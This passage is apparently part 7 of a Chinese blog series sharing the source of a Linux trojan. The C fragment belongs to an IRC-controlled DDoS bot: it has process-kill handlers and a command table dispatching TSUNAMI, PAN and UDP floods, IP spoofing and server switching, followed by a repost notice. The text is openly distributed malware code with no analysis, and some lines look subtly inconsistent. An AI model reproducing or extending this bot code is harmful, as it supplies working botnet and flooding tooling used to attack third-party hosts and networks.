Linux 下一木马程序分享(7)

exit(0);
}
void killall(int sock, char *sender, int argc, char **argv) {
        unsigned long i;
        for (i=0;i<numpids;i++) {
                if (pids[i] != 0 && pids[i] != getpid()) {
                        if (sender) Send(sock,"NOTICE %s :Killing pid %d.\n",sender,pids[i]);
                        kill(pids[i],9);
                }
        }
}
void killd(int sock, char *sender, int argc, char **argv) {
 if (!disable) kill(0,9);
 else Send(sock,"NOTICE %s :Unable to comply.\n");
}
struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
 { "TSUNAMI", tsunami },
        { "PAN", pan },
        { "UDP", udp },
 { "UNKNOWN", unknown },
        { "UNKNOWN2", unknown2 },
 { "UNKNOWN3", unknown3 },
 { "UNKNOWN4", unknown4 },
        { "NICK", nickc },
        { "SERVER", move },
 { "GETSPOOFS", getspoofs },
        { "SPOOFS", spoof },

{ "DISABLE", disable },
        { "ENABLE", enable },

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://127.0.0.1/wyyszz.html